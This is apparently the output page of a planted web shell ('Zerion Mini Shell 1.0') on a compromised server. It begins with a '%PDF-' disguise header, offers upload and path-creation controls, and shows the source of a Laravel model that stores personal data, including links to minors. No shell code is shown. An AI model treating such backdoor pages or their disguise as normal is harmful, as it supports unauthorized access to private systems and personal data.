%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/camillo/camillo-api-master/app/Models/
Upload File :
Create Path :
Current File : /var/www/html/camillo/camillo-api-master/app/Models/Individual.php

<?php

namespace App\Models;

use App\Scopes\IndividualScope;
use App\User;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Notifications\Notifiable;
use Watson\Validating\ValidatingTrait;

class Individual extends Model
{
    use ValidatingTrait, Notifiable;
    /**
     * The attributes that are mass assignable.
     *
     * @var array
     */
    protected $fillable = [
        'user_id',
        'name',
        'surname',
        'email',
        'birth_date',
        'fiscal_code',
        'phone',
        'mobile',
        'language',
        'show_contacts',
        'created_by',
        'updated_by'
    ];

    protected $dates = [
        'birth_date',
        'created_at',
        'updated_at'
    ];

    protected $rules = [
        'user_id' => 'required|integer|exists:users,id',
        'name'  => 'required|string',
        'surname'  => 'required|string',
        'email'       => 'required|email',
//        'birth_date'  => 'date',
        'fiscal_code' => 'string|unique:individuals,fiscal_code|size:16',
        'phone' => 'nullable|string|regex:/^\d{6,}$/',
        'mobile' => 'nullable|string|regex:/^\d{6,}$/',
        'show_contacts' => 'boolean',
        'language' => 'in:it,en'
    ];

    protected static function boot()
    {
        parent::boot();

        static::addGlobalScope(new IndividualScope());
    }

    /**
     * Validation messages to be passed to the validator.
     *
     * @var array
     */
    protected $validatingMessages = [
        'email.required'    => "L'indirizzo e-mail è obbligatorio",
        'email.email'       => "L'indirizzo e-mail non è valido"
    ];

    /**
     * @return \Illuminate\Database\Eloquent\Relations\BelongsTo
     */
    public function user()
    {
        return $this->belongsTo(User::class);
    }

    /**
     * @return \Illuminate\Database\Eloquent\Relations\HasMany
     */
    public function notices()
    {
        return $this->hasMany(Notice::class);
    }

    /**
     * @return \Illuminate\Database\Eloquent\Relations\BelongsToMany
     */
    public function minors()
    {
        return $this->belongsToMany(Minor::class)->withPivot(['relative', 'is_admin']);
    }
}

Zerion Mini Shell 1.0